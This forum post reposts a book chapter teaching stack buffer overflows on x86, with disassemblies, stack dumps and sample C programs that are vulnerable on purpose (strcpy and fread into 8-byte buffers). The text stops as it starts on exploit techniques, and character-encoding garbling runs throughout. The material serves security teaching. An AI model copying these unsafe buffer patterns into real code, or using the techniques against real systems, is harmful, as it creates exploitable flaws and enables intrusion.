查看單個文章
舊 2004-07-16, 04:43 PM   #1
mic64
註冊會員
 
mic64 的頭像
榮譽勳章
UID - 582
在線等級: 級別:16 | 在線時長:330小時 | 升級還需:27小時級別:16 | 在線時長:330小時 | 升級還需:27小時級別:16 | 在線時長:330小時 | 升級還需:27小時級別:16 | 在線時長:330小時 | 升級還需:27小時級別:16 | 在線時長:330小時 | 升級還需:27小時級別:16 | 在線時長:330小時 | 升級還需:27小時
註冊日期: 2002-12-06
VIP期限: 2007-04
住址: MIB總部
文章: 412
精華: 0
現金: 499 金幣
資產: 499 金幣
預設 Hack Proofing Your Network-8

Chapter 8
243
Summary
Solutions Fast Track
Frequently Asked Questions
244 Chapter 8 ¡E Buffer Overflow
Introduction
Buffer overflows make up one of the largest collections of vulnerabilities in existence;
And a large percentage of possible remote exploits are of the overflow
variety. If executed properly, an overflow vulnerability will allow an attacker to
run arbitrary code on the victim¡¦s machine with the equivalent rights of
whichever process was overflowed.This is often used to provide a remote shell
onto the victim machine, which can be used for further exploitation.
A buffer overflow is an unexpected behavior that exists in certain programming
languages. In this chapter, we explain in detail why these problems exist,
how to spot when an overflow vulnerability is present, and how to write an
exploit to take advantage of it.
This chapter is split into two parts; a beginner¡¦s section and an advanced section.
If you¡¦ve seen buffer overflows before and you understand how they work,
then you can probably skip the beginner¡¦s section. However, we recommend that
all readers have a look at the advanced section. Some of these advanced techniques
have come into use in the wild, appearing in the Code Red worm, for
example.
Understanding the Stack
Stacks are an abstract data type known as last in, first out (LIFO).They operate
much like a stack of lunch trays in an average cafeteria. For example, if you put a
tray down on top of the stack, it will be the first tray someone else will pick up.
Stacks are implemented using processor internals designed to facilitate their use
(such as the ESP and EBP registers).
NOTE
All examples here are compiled using VC++ 6 SP5 on Windows 2000
(msdn.microsoft.com) unless otherwise specified. For compiled code, we
are using Release builds with all optimizations turned off to make things
cleaner and more simple. Disassemblies are done using IDA pro 4.18
(www.datarescue.com). All code assumes you are using a standard x86
chipset.
www.syngress.com
www.syngress.com
The stack is a mechanism that computers use both to pass arguments to functions
and to reference local function variables. Its purpose is to give programmers
an easy way to access local data in a specific function, and to pass information
from the function¡¦s caller. Basically it acts like a buffer, holding all of the information
that the function needs.The stack is created at the beginning of a function
and released at the end of it. Stacks are typically static, meaning that once they are
set up in the beginning of a function, they really don¡¦t change ¡X the data held in
the stack may change, but the stack itself typically does not.
Stacks on Intel x86 processors are considered to be inverted.This means that
lower memory addresses are considered to be on the ¡§top¡¨ of the stack; push operations
move the stack pointer lower, while pop operations move it higher.This
means that new data tends to be at lower memory addresses than old data.This
fact is part of the reason that buffer overflows can happen; as overwriting a buffer
from a lower address to a higher address means that you can overwrite what
should be in the higher addresses, like a saved Extended Instruction Pointer (EIP).
Buffer Overflow ¡E Chapter 8 245
Understanding Assembly Language
There are a few specific pieces of assembly language knowledge that are
necessary to understand the stack. One thing that is required is to
understand the normal usage of registers in a stack. Typically, there are
three pertinent registers to a stack.
 EIP The extended instruction pointer. This points to the code
that you are currently executing. When you call a function,
this gets saved on the stack for later use.
 ESP The extended stack pointer. This points to the current
position on the stack and allows things to be added and
removed from the stack using push and pop operations or
direct stack pointer manipulations.
 EBP The extended base pointer. This register should stay the
same throughout the lifetime of the function. It serves as a
static point for referencing stack-based information like variables
and data in a function using offsets. This almost always
points to the top of the stack for a function.
Damage & Defense¡K
246 Chapter 8 ¡E Buffer Overflow
In the next few sections, we will examine how local variables are put on the
stack, then examine the use of the stack to pass arguments through to a function,
and finally, we¡¦ll look at how all of this adds up to allow an overflowed buffer to
take control of the machine and execute an attacker¡¦s code.
Most compilers insert what is known as a prologue at the beginning of a function.
In the prologue, the stack is set up for use by the function.This often involves
saving the EBP and setting EBP to point to the current stack pointer.This is
done so that the EBP now contains a pointer to the top of our stack.The EBP
register is then used to reference stack-based variables using offsets from the EBP.
Our first example is a simple program with a few local variables assigned to it.
We have attempted to comment profusely to make things clearer within the code.
The Code
This is a very simple program that does nothing but assign some values to some
variables (Figure 8.1).
Figure 8.1 How the Stack Operates
/* chapter 1 sample 1
This is a very simple program to explain how the stack operates
*/
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char buffer[15]="Hello World"; /* a 15 byte character buffer */
int int1=1,int2=2; /* 2 4 byte integers */
return 1;
}
The code in Figure 8.1 is very straightforward. It basically creates three stack
variables: A 15-byte character buffer and two integer variables. It then assigns
values to these variables as part of the function initialization. Finally, it returns a
value of 1.The usefulness of such a simple program is apparent in examining how
our compiler took the C code and created the function and stack from it.We will
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 247
now examine the disassembly of the code to better understand what the compiler
did to create this. For our disassembly, it was compiled as a Windows Console
application, in Release mode.
Disassembly
This disassembly (Figure 8.2) shows how the compiler decided to implement the
relatively simple task of assigning a series of stack variables and initializing them.
Figure 8.2 Simple C Disassembly
_main proc near
buffer = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_A = byte ptr -0Ah
int2 = dword ptr -8
int1 = dword ptr -4
;function prologue
push EBP
mov EBP, ESP
sub ESP, 18h
;set up preinititalized data in buffer
mov EAX, dword_407030
mov [EBP+buffer], EAX
mov ECX, dword_407034
mov [EBP+var_14], ECX
mov EDX, dword_407038
mov [EBP+var_10], EDX
xor EAX, EAX
mov [EBP+var_C], ax
mov [EBP+var_A], al
;set up preinitialized data in int1
mov [EBP+int1], 1
www.syngress.com
Continued
248 Chapter 8 &iexcl;E Buffer Overflow
;set up preinitialized data in int2
mov [EBP+int2], 2
;put the return value in EAX
mov EAX, 1
;function epilogue
mov ESP, EBP
pop EBP
retn
_main endp
As you can see in the function prologue of Figure 8.2, the old EBP is saved
on the stack, and then the current EBP is overwritten by the address of our current
stack.The purpose of this is that each function can get their own stack to
use. Most, if not all functions perform this operation and the associated epilogue,
which should be the exact reverse set of operations as the prologue.
The Stack Dump
Now, to show you what the stack looks like, we have issued a debugging breakpoint
right after the stack is initialized.This allows us to see what the clean stack
looks like, and to offer us an insight into what goes where in this code (see
Figure 8.3).
Figure 8.3 The Stack after Initialization
0012FF68 48 65 6C 6C Hell ;this is buffer
0012FF6C 6F 20 57 6F o Wo
0012FF70 72 6C 64 00 rld.
0012FF74 00 00 00 00 ....
0012FF78 02 00 00 00 .... ;this is int2
0012FF7C 01 00 00 00 .... ;this is int1
The &iexcl;§Hello World&iexcl;&uml; buffer is 16 bytes large, and each assigned integer is 4
bytes large.The numbers on the left of the hex dump are specific to this compile,
and Windows rarely uses static stack addresses.This will be addressed further
when we go over exploiting buffer overflows using jump points. One thing you
www.syngress.com
Figure 8.2 Continued
Buffer Overflow &iexcl;E Chapter 8 249
must keep in mind is that most compilers align the stack to 4-byte boundaries.
This means that in Figure 8.1, 16 bytes are allocated by the compiler although
only 15 bytes were requested in the code.This keeps everything aligned on 4-
byte boundaries, which is imperative for processor performance, and many calls
assume that this is the case.
Oddities and the Stack
There are many conditions that can change how the stack may look after initialization.
Compiler options can adjust the size and alignment of supplied stacks,
and optimizations can seriously change how the stack is created and accessed.
As part of the prologue, some functions issue a push of some of the registers
on the stack.This is optional and compiler- and function-dependant.The code can
issue a series of individual pushes of specific registers or a pusha, which pushes all
of the registers at once.This may adjust some of the stack sizes and offsets.
Many modern C and C++ compilers will attempt to optimize code.There
are numerous techniques to do this, and some of them may have a direct impact
on the use of the stack and stack variables. For instance, one of the more
common modern compiler optimizations is to forego using EBP as a reference
into the stack, and to use direct ESP offsets.This can get pretty complex, but it
frees an additional register for use in writing faster code.Another example where
compilers may cause issues with the stack is if they force new temporary variables
onto it.This will adjust offsets. Sometimes this happens in order to speed up
some loops or for other reasons that the compiler decides are pertinent.
One final issue that must be explained about compilers in relation to the
stack is that there is a newer breed of stack protection compilers. Crispin Cowen&iexcl;&brvbar;s
Immunix (www.immunix.com) project is based on such technology. It uses a
modified GCC C compiler to generate new types of code that make it more dif-
ficult to cause direct EIP overflows.Typically, they use a technique called canary
values, where an additional value is placed on the stack in the prologue and
checked for integrity in the epilogue.This ensures that the stack has not been
completely violated to the point that the stored EIP or EBP value has been overwritten.
Understanding the Stack Frame
As was mentioned earlier, the stack serves two purposes.The purpose we&iexcl;&brvbar;ve
examined so far is the storage of variables and data that are local to a function.
Another purpose of the stack is to pass arguments into a called function.This part
www.syngress.com
250 Chapter 8 &iexcl;E Buffer Overflow
of the chapter will deal with how compilers pass arguments on to called functions
and how this affects the stack as a whole. In addition, it covers how the
stack is used for call and ret operations on the processor.
Introduction to the Stack Frame
A stack frame is the name given the entire stack of a given function, including all
of the passed arguments, the saved EIP and potentially any other saved registers,
and the local function variables. Previously we focused on the stack&iexcl;&brvbar;s use in
holding local variables, and now we will go into the &iexcl;§bigger picture&iexcl;&uml; of the stack.
To understand how the stack works in the real world, a little needs to be
explained about the Intel call and ret instructions.The call instruction is what
makes functions possible.The purpose of this instruction is to divert processor
control to a different part of code, while remembering where you need to return
to.To achieve this goal, a call operates like this:
1. Push next instruction after the call onto the stack. (This is where the
processor will return to after executing the function.)
2. Jump to the address specified by the call.
Conversely, the ret instruction does the opposite. Its purpose is to return from
a called function back to whatever was right after the call instruction.The ret
instruction operates like this:
1. Pop the stored return address off the stack.
2. Jump to the address popped off the stack.
This combination allows code to be jumped to, and returned from very easily.
However, due to the location of the saved EIP on the stack, this also makes it
possible to write a value there that will be popped off.This will be explained
after getting a better understanding of the stack frame and how it operates.
Passing Arguments to a
Function: A Sample Program
The sample program illustrated in this section shows how the stack frame is used
to pass arguments to a function.The code simply creates some stack variables, fills
them with values, and passes them to a function called callex.The callex function
simply takes the supplied arguments and prints them to the screen.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 251
Figure 8.4 shows a program that explains how the stack is used in call and ret
operations, as well as how the stack frame is organized.
Figure 8.4 Sample Program Demonstrates How the Stack is Used in call and
ret Operations
/*
Chapter 8 &iexcl;V Sample 2
*/
#include <stdlib.h>
#include <stdio.h>
int callex(char *buffer, int int1, int int2)
{
/*This prints the inputted variables to the screen:*/
printf("%s %d %d\n",buffer,int1, int2);
return 1;
}
int main(int argc, char **argv)
{
char buffer[15]="Hello World"; /* a 10 byte character buffer */
int int1=1,int2=2; /* 2 4 byte integers */
callex(buffer,int1,int2); /*call our function*/
return 1; /*leaves the main func*/
}
The Disassembly
Figure 8.4 was also compiled as a console application in Release mode. Figure
8.5 shows a direct disassembly of the callex() and main() functions.This is to
demonstrate how a function looks after it has been compiled. Notice how the
buffer variable from main() is passed to callex by reference. In other words, callex
gets a pointer to buffer, rather than its own copy.This means that anything that is
www.syngress.com
252 Chapter 8 &iexcl;E Buffer Overflow
done to change buffer while in callex will also affect buffer in main, since they are
the same variable.
Figure 8.5 How a Function Looks after It Has Been Compiled
_callex proc near
buffer = dword ptr 8
int1 = dword ptr 0Ch
int2 = dword ptr 10h
;function prologue
push EBP
mov EBP, ESP
;push 4th argument to printf (int2)
mov EAX, [EBP+int2]
push EAX
;push 3rd argument to printf (int1)
mov ECX, [EBP+int1]
push ECX
;push 2nd argument to printf (buffer)
mov EDX, [EBP+buffer]
push EDX
;push 1st argument to printf (format string)
push offset aSDD ; "%s %d %d\n"
;call printf
call _printf
;clean up the stack after printf
add ESP, 10h
;set return value in EAX
mov EAX, 1
;function epilogue
pop EBP
;return to main()
retn
_callex endp
www.syngress.com
Continued
Buffer Overflow &iexcl;E Chapter 8 253
_main proc near
buffer = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_A = byte ptr -0Ah
int2 = dword ptr -8
int1 = dword ptr -4
;function prologue
push EBP
mov EBP, ESP
sub ESP, 18h
;load "Hello World" into buffer
mov EAX, dword_40703C
mov [EBP+buffer], EAX
mov ECX, dword_407040
mov [EBP+var_14], ECX
mov EDX, dword_407044
mov [EBP+var_10], EDX
xor EAX, EAX
mov [EBP+var_C], ax
mov [EBP+var_A], al
; load 1 into int1
mov [EBP+int1], 1
;load 2 into int2
mov [EBP+int2], 2
;push 3rd arg (int2) onto stack
mov ECX, [EBP+int2]
www.syngress.com
Figure 8.5 Continued
Continued
254 Chapter 8 &iexcl;E Buffer Overflow
push ECX
;push 2nd arg (int1) onto stack
mov EDX, [EBP+int1]
push EDX
;push 1st arg (buffer) onto stack
lea EAX, [EBP+buffer]
push EAX
;call callex (code is above)
call _callex
; clean up after callex
add ESP, 0Ch
;set return value in EAX
mov EAX, 1
;function epilogue
mov ESP, EBP
pop EBP
;return
retn
_main endp
The Stack Dumps
Figures 8.6 through 8.9 show what the stack looks like at various points during
the execution of this code. Use the stack dump&iexcl;&brvbar;s output along with the C source
and the disassembly to examine where things are going on the stack and why.
This will help you better understand how the stack frame operates.We will show
the stack at the pertinent parts of execution in the program.
Figure 8.6 shows a dump of the stack right after the variables have been initialized,
but before any calls and argument pushes have happened. It will describe
the &iexcl;§clean&iexcl;&uml; stack for this function.
www.syngress.com
Figure 8.5 Continued
Buffer Overflow &iexcl;E Chapter 8 255
Figure 8.6 Stack Frame after Variable Initialization in Main
0012FF68 48 65 6C 6C Hell ; buffer
0012FF6C 6F 20 57 6F o Wo
0012FF70 72 6C 64 00 rld.
0012FF74 00 00 00 00 ....
0012FF78 02 00 00 00 .... ; int2
0012FF7C 01 00 00 00 .... ; int1
0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main
0012FF84 5C 11 40 00 \.@. ; saved EIP to return out of main
Next, three arguments are pushed onto the stack for the call to callex (see
Figure 8.7).
Figure 8.7 Stack Frame before Calling callex in Main
0012FF5C 68 FF 12 00 hy.. ; pushed buffer (arg1)
0012FF60 01 00 00 00 .... ; pushed int1 (arg2)
0012FF64 02 00 00 00 .... ; pushed int2 (arg3)
0012FF68 48 65 6C 6C Hell ; buffer
0012FF6C 6F 20 57 6F o Wo
0012FF70 72 6C 64 00 rld.
0012FF74 00 00 00 00 ....
0012FF78 02 00 00 00 .... ; int2
0012FF7C 01 00 00 00 .... ; int1
0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main
0012FF84 5C 11 40 00 \.@. ; saved EIP to return out of main
You may notice some overlap here.This is because after main()&iexcl;&brvbar;s stack finished,
arguments issued to callex were pushed onto the stack. In the stack dump
in Figure 8.8, we have repeated the pushed arguments so that you can see how
they look to the function callex itself.
Figure 8.8 Stack Frame after Prologue, before the printf in callex
0012FF54 80 FF 12 00 y.. ; saved EBP for callex function
0012FF58 6B 10 40 00 k.@. ; saved EIP to return to main
0012FF5C 68 FF 12 00 hy.. ; buffer (input arg1)
www.syngress.com
Continued
256 Chapter 8 &iexcl;E Buffer Overflow
0012FF60 01 00 00 00 .... ; int1 (input arg2)
0012FF64 02 00 00 00 .... ; int2 (input arg3)
The stack is now initialized for the callex function. All we have to do is push
on the four arguments to printf then issue a call on it.
Finally, before the printf in callex, with all of the values pushed on the stack, it
looks like Figure 8.9.
Figure 8.9 All of the Values Pushed on the Stack, before the printf in callex
0012FF44 30 70 40 00 0p@. ; pushed format string (arg1)
0012FF48 68 FF 12 00 hy.. ; pushed buffer (arg2)
0012FF4C 01 00 00 00 .... ; pushed int1 (arg3)
0012FF50 02 00 00 00 .... ; pushed int2 (arg4)
0012FF54 80 FF 12 00 y.. ; saved EBP for callex function
0012FF58 6B 10 40 00 k.@. ; saved EIP to return to main
0012FF5C 68 FF 12 00 hy.. ; buffer (arg1)
0012FF60 01 00 00 00 .... ; int1 (arg2)
0012FF64 02 00 00 00 .... ; int2 (arg3)
This should give you a pretty solid understanding of the stack.This knowledge
will help when we go on to explain techniques used to overflow the stack.
Stack Frames and Calling Syntaxes
There are numerous ways that functions can be called, and it makes a difference
as to how the stack is laid out. Sometimes it is the caller&iexcl;&brvbar;s responsibility to clean
up the stack after the function returns, other times the called function handles
this.The type of call tells the compiler how to generate code, and it affects the
way we must look at the stack frame itself.
The most common calling syntax is C declaration syntax.A C-declared function
is one in which the arguments are passed to a function on the stack in
reverse order (with the first argument being pushed onto the stack last).This
makes things easier on the called function, because it can pop the first argument
off the stack first.When a function returns, it is up to the caller to clean up the
stack based on the number of arguments it pushed earlier.This allows a variable
number of arguments to be passed to a function, which is the default behavior
www.syngress.com
Figure 8.8 Continued
Buffer Overflow &iexcl;E Chapter 8 257
for MS Visual C/C++ generated code and the most widely-used calling syntax
on many other platforms.This is sometimes known as cdecl calling syntax.A function
that uses this call syntax is printf(), because a variable number of arguments
can be passed to the printf function and printf handles them. After that, the caller
cleans up after itself.
The next most common calling syntax is the standard call syntax. Like the
cdecl, arguments are passed to functions in reverse order on the stack. However,
unlike cdecl calling syntax, it is up to the called function to readjust the stack
pointers before returning.This is useful because it frees the caller from having to
worry about this, and it can also save some code space as the code to readjust the
stack is only in the function rather than residing everywhere the function is
called. Almost the entire WIN32 API is written using the standard call syntax. It is
sometimes known as stdcall.
The third type of calling syntax is called fast call syntax. It is very similar to
standard call syntax in that it is up to the called function to clean up after itself. It
differs from standard call syntax, however, in the way arguments are passed to the
stack. Fast call syntax states that the first two arguments to a function are passed
directly in registers, meaning that they are not required to be pushed onto the
stack and the called function can reference them directly using the registers in
which they were passed. Delphi-generated code tends to use fast call syntax, and
it is also a common syntax in the NT kernel space.
Finally, there is one last calling syntax, called naked. In reality, this is the opposite
of a calling syntax, as it removes all code designed to deal with calling syntaxes
in a function and forces the function&iexcl;&brvbar;s programmer to deal with the details.
Naked is rarely used, and when it is used, it&iexcl;&brvbar;s typically for a very good reason
(such as supporting a very old piece of binary code).
Learning about Buffer Overflows
A buffer overflows when too much data is put into it.Think of a buffer as a glass
of water; you can fill the glass until it is full, but any additional water added to
that glass will spill over the edge. Buffers are much like this, and the C language
(and its derivatives, like C++), offer many ways to cause more to be put into a
buffer than was anticipated.
The problem arises when taken into the context that we have laid out before.
As you have seen, local variables can be allocated on the stack (see the 16-byte
buffer variable from figures 8.1 and 8.4).This means that there is a buffer of a set
size sitting on the stack somewhere. Since the stack grows down and there are
www.syngress.com
258 Chapter 8 &iexcl;E Buffer Overflow
very important pieces of information stored there, what happens if you put more
data into the stack allocated buffer than it can handle? Like the glass of water, it
overflows!
When 16 bytes of data are copied into the buffer from Figure 8.1, it becomes
full.When 17 bytes get copied, one byte spills over into the area on the stack
devoted to holding int2.This is the beginning of data corruption. All future references
to int2 will give the wrong value. If this trend continues, and we put 28
bytes in, we control what EBP points to, at 32 bytes, we have control of EIP.
When a ret happens and it pops our overwritten EIP and then jumps to it, we
take control. After gaining control of EIP, we can make it point to anywhere we
want, including code we have provided.
The C language has a saying attributed to it:&iexcl;§We give you enough rope to
hang yourself &iexcl;&uml;. Basically, this means that with the degree of power over the
machine that C offers, it has its potential problems as well. C is a loosely typed
language, so there aren&iexcl;&brvbar;t any safeguards to make you comply with any data rules.
Many buffer overflows happen in C due to poor handling of string data types.
Table 8.1 shows some of the worst offenders in the C language.The table is by
no means a complete table of problematic functions, but will give you a good
idea of some of the more dangerous and common ones.
Table 8.1 A Sampling of Problematic Functions in C
Function Description
char *strcpy( char *strDestination, This function will copy a string from
const char *strSource ) strSource to strDestination
char *strcat( char *strDestination, This function adds (concatenates) a string
const char *strSource ) to the end of another string in a buffer
int sprintf( char *buffer, const This function operates like printf, except
char *format [, argument] ... ) this copies the output to buffer instead of
printing to the stdout stream.
char *gets( char *buffer ) Gets a string of input from the stdin
stream and stores it in buffer
In the next section, we will create a simple overflowable program and attempt
to feed it too much data. Later, we will go over how to make the program execute
code that does what we want it to do.
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 259
A Simple Uncontrolled
Overflow: A Sample Program
The code shown in Figure 8.10 is a very simple example of an uncontrolled over-
flow.This is not really exploitable, but still makes for a useful example.This demonstrates
a more commonly made programming error, and the bad effects it can have
on the stability of your program.The program simply calls the bof function. Once
in the bof() function, a string of 20 As is copied into a buffer that can hold 8 bytes.
What results is a buffer overflow.Notice that the printf in the main function will
never be called, as the overflow diverts control on the attempted return from bof().
This should be complied as a Release build with no optimizations.
Figure 8.10 A Simple Uncontrolled Overflow of the Stack
/*
chapter 8 - sample 3
This is a program to show a simple uncontrolled overflow
of the stack. It is inteded to overflow EIP with
0x41414141, which is AAAA in ascii
*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof()
{
char buffer[8]; /* an 8 byte character buffer */
/*copy 20 bytes of A into the buffer*/
strcpy(buffer,"AAAAAAAAAAAAAAAAAAAA");
/*return, this will cause an access violation
due to stack corruption. We also take EIP*/
return 1;
}
www.syngress.com
Continued
260 Chapter 8 &iexcl;E Buffer Overflow
int main(int argc, char **argv)
{
bof(); /*call our function*/
/*print a short message, execution will
never reach this point */
printf("Not gonna do it!\n");
return 1; /*leaves the main func*/
}
The Disassembly
The disassembly in Figure 8.11 shows the simple nature of this program.Take
special notice of how no stack variables are created for main, and how the buffer
variable in bof() is used uninitialized. Sometimes this fact alone may cause problems
and potential overflows in your code, depending on what is on the stack
when the variable is created, and how it is used. It is recommended you use the
memset or bzero functions to zero out stack variables before you use them.
Figure 8.11 Disassembly of an Overflowable Program
_bof proc near
buffer = byte ptr -8
;bof's prologue
push EBP
mov EBP, ESP
;make room on the stack for the local variables
sub ESP, 8
;push the second argument to strcpy (20 bytes of A)
push offset aAaaaaaaaaaaaaa ; const char *
;push the first argument to strcpy (the local stack var, buffer)
lea EAX, [EBP+buffer]
www.syngress.com
Figure 8.10 Continued
Continued
Buffer Overflow &iexcl;E Chapter 8 261
push EAX ; char *
;call strcpy
call _strcpy
;clean up the stack after the call
add ESP, 8
;set the return value in EAX
mov EAX, 1
;bof's epilogue
mov ESP, EBP
pop EBP
;return control to main
retn
_bof endp
; ||| S U B R O U T I N E |||
; Attributes: bp-based frame
_main proc near
;main's prologue
push EBP
mov EBP, ESP
;call our vulnerable function, bof
call _bof
;push 1st arg to printf (static format string)
push offset aNotGonnaDoIt ; "Not gonna do it!\n"
;call printf
call _printf
;clean up after the stack
add ESP, 4
www.syngress.com
Figure 8.11 Continued
Continued
262 Chapter 8 &iexcl;E Buffer Overflow
;set the return value in EAX
mov EAX, 1
;main's epilogue
pop EBP
retn
_main endp
The Stack Dumps
These stack dumps clearly show the progression of the program&iexcl;&brvbar;s stack and what
happens in the event of an overflow. Although this time we chose not to directly
control EIP, Figure 8.12 shows the concepts that will allow us to take complete
control of it later, and use it to execute code of our choice.
Figure 8.12 In main, pre Call to bof
0012FF80 C0 FF 12 00 Ay.. ; saved EBP for main
0012FF84 15 12 40 00 ..@. ; saved EIP for returning out of main
Since there were no local variables in main, there isn&iexcl;&brvbar;t much to look at on the
stack, just the stored EBP and EIP values from before main (Figure 8.13).
Figure 8.13 In bof, pre strcpy Pushes
0012FF70 00 02 00 00 .... ; buffer, 8 bytes, no init, so it has
0012FF74 04 00 00 00 .... ; whatever was in there previously
0012FF78 80 FF 12 00 y.. ; saved EBP for bof
0012FF7C 28 10 40 00 (.@. ; saved EIP for returning out of bof
We have entered bof and are before the pushes. Since we did not initialize any
data in the buffer, it still has arbitrary values that were already on the stack
(Figure 8.14).
Figure 8.14 In bof, post strcpy Pushes, pre Call
0012FF68 70 FF 12 00 py.. ; arg 1 passed to strcpy. addr of buffer
0012FF6C 30 70 40 00 0p@. ; arg 2 passed to strcpy. addrof the A's
0012FF70 00 02 00 00 .... ; buffer, 8 bytes, no init, so it has
www.syngress.com
Figure 8.11 Continued
Continued
Buffer Overflow &iexcl;E Chapter 8 263
0012FF74 04 00 00 00 .... ; whatever was in there previously
0012FF78 80 FF 12 00 y.. ; saved EBP for bof
0012FF7C 28 10 40 00 (.@. ; saved EIP for returning out of bof
Now we have pushed the two arguments for strcpy onto the stack.The first
argument points back into the stack at our variable buffer, and the second points
to a static buffer containing 20 As.
Figure 8.15 In bof, post strcpy (Compare to Figure 8.13)
0012FF70 41 41 41 41 AAAA ; buffer, 8 bytes, now A's
0012FF74 41 41 41 41 AAAA ; buffer continued
0012FF78 41 41 41 41 AAAA ; saved EBP for bof, now A's
0012FF7C 41 41 41 41 AAAA ; saved EIP for reting out of bof, now A's
As you can see, all of the data on the stack have been wiped out by the strcpy.
At the end of the bof function, the epilogue will attempt to pop EBP off the
stack and will only pop 0x414141. After that, ret will try to pop off EIP and jump
to it.This will cause an access violation since ret will pop 0x41414141 into EIP,
and that points to an invalid area of memory (see Figure 8.16).
Creating Your First Overflow
Now that the general concept of buffer overflows has been examined, it is time
to build our first overflow exploit. For the sake of simplicity and learning, this
overflow will be clearly defined and exploitation of this overflow will be walked,
www.syngress.com
Figure 8.14 Continued
Figure 8.16 Crash Window Showing Overwritten EIP and EBP
264 Chapter 8 &iexcl;E Buffer Overflow
step-by-step, to exploitation. For this example, a simple exploit will be written for
both the Windows NT and Linux platforms.
Creating a Program with
an Exploitable Overflow
First, our goal is to have an exploitable program and an understanding of how
and why it is exploitable.The program we will be using is very similar to the last
example; however, it will accept user input instead of using a static string. By
doing this we can control where EIP takes us and what it will do.
Writing the Overflowable Code
The code presented in the following Figures (starting with Figure 8.17), is
designed to read input from a file into a small stack-allocated variable.This will
cause an overflow, and since we control the input in the file, it will provide us
with an ideal learning ground to examine how buffer overflows can be exploited.
The code here makes a call to the bof() function. Inside the bof() function, it opens
a file named &iexcl;§badfile&iexcl;&uml;. It then reads up to 1024 bytes from badfile and finally
closes the file. If things add up, it should overflow on the return from bof(), giving
us control of EIP based on our badfile.We will examine exploitation of this program
on both Linux and Windows, giving you an example on each platform.
Figure 8.17 A Program to Show a Simple Controlled Overflow of the Stack
/*
chapter 8 - sample 4
This is a program to show a simple controlled overflow
of the stack. It is supposed to be paired with a
file we will produce using an exploit program.
For simplicity's sake, the file is hardcoded to
badfile
*/
#include <stdlib.h>
#include <stdio.h>
int bof()
{
www.syngress.com
Continued
Buffer Overflow &iexcl;E Chapter 8 265
char buffer[8]; /* an 8 byte character buffer */
FILE *badfile;
/*open badfile for reading*/
badfile=fopen( "badfile", "r" );
/*this is where we overflow. Reading 1024 bytes
into an 8 byte buffer is a "bad thing" */
fread( buffer, sizeof( char ), 1024, badfile );
/*return*/
return 1;
}
int main(int argc, char **argv)
{
bof(); /*call our function*/
/*print a short message, execution
will never reach this point */
printf("Not gonna do it!\n");
return 1; /*leaves the main func*/
}
Disassembling the Overflowable Code
Since this program is so similar to the last one, we will forgo the complete disassembly.
Instead, we will only show the dump of the new bof() function, with an
explanation on where it is vulnerable (Figure 8.18). If fed a long file, the overflow
will happen after the fread, and control of EIP will be gained on the ret from this
function.
www.syngress.com
Figure 8.17 Continued
266 Chapter 8 &iexcl;E Buffer Overflow
Figure 8.18 Disassembly of Overflowable Code
_bof proc near ; CODE XREF: _main+3p
buffer = byte ptr -0Ch
badfile = dword ptr -4
;function prologue
push EBP
mov EBP, ESP
sub ESP, 0Ch
;push "r", the 2nd argument to fopen. This tells fopen
;to open the file for reading
push offset aR ; "r"
;push "r", the 1st argument to fopen. This tells fopen
;which file to open
push offset aCBadfile ; "badfile"
;call fopen
call _fopen
;correct the stack after the call
add ESP, 8
;set the local badfile variable to what fopen returned
mov [EBP+badfile], EAX
;push the 4th argument to fread, which is the file handle
;returned from fopen
mov EAX, [EBP+badfile]
push EAX
;push the 3rd argument to fread. This is the max number
;of bytes to read
push 400h
; push the 2nd argument to fread. This is the size of char
push 1
;push the 1st argument to fread. this is our local buffer
lea ECX, [EBP+buffer]
push ECX
www.syngress.com
Continued
Buffer Overflow &iexcl;E Chapter 8 267
;call fread
call _fread
;correct the stack after fread
add ESP, 10h
;set the return value in EAX
mov EAX, 1
;function epilogue
mov ESP, EBP
pop EBP
;return to main
retn
_bof endp
Stack Dump after the Overflow
Since this program is focused on being vulnerable, we will show the stack after
the fread. For a quick example, we have created a badfile that contained 20 As (see
Figure 8.19).This generates a stack very similar to that of our last program,
except this time we control the input buffer via the badfile. Remember that we
have an additional stack variable beyond the buffer in the form of the file handle
pointer.
Figure 8.19 The Stack after the fread() Call
0012FF6C 41 41 41 41 AAAA ; buffer
0012FF70 41 41 41 41 AAAA
0012FF74 41 41 41 41 AAAA ; badfile pointer
0012FF78 41 41 41 41 AAAA ; saved EBP
0012FF7C 41 41 41 41 AAAA ; saved EIP
Performing the Exploit
After verifying the overflow using the sample badfile, we are ready to write our
first set of exploits for this program. Since the supplied program is ANSI Cwww.
syngress.com
Figure 8.18 Continued
268 Chapter 8 &iexcl;E Buffer Overflow
compliant, it should compile cleanly using any ANSI C-compliant compiler. For
our examples, we are using Visual C++ for Windows NT and GCC for Linux.
We will begin with Linux exploitation, because it tends to be simpler.You
will get to see the differences in the exploitation techniques you will need to use
when attacking different platforms.
General Exploit Concepts
Exploitation under any platform requires a bit of planning and explanation.We
have taken our overflows to the stage where we can control EIP.We must now
understand what this allows us to do, and how we can take advantage of this situation
to gain control of the machine.
Once processor control is gained, you must choose where to divert control of
the code. Usually, you will be pointing the EIP to code that you have written,
either directly or indirectly.This is known as your payload.The payloads for this
exploit are very simple, designed as proof-of-concept code to show that code of
your choosing can be executed. More advanced payload designs are examined
later in this chapter.
Successful exploits have a few aspects in common.We will cover some general
overview concepts that apply to most types of exploits.
First, you need a way to inject the buffer.This means that you need a way to
get your data into the buffer you want to overflow. Next, you will use a technique
to leverage the controlled EIP to get your own code to execute.There are
many ways to get the EIP to point at your code. Finally, you need a payload, or
code that you want executed.
Buffer Injection Techniques
The first thing you need to do to create an exploit is to find a way to get your
large buffer into the overflowable buffer.This is typically a simple process,
automating filling a buffer over the network, or writing a file that is later read by
the vulnerable process. Sometimes, however, getting your buffer to where it needs
to be can be a challenge in itself.
Optimizing the Injection Vector
The military has a workable concept of delivery and payload, and we can use the
same concept here.When we talk about a buffer overflow, we talk about the injection
vector and the payload.The injection vector is the custom operational code
(opcode) you need to actually control the instruction pointer on the remote
www.syngress.com
Buffer Overflow &iexcl;E Chapter 8 269
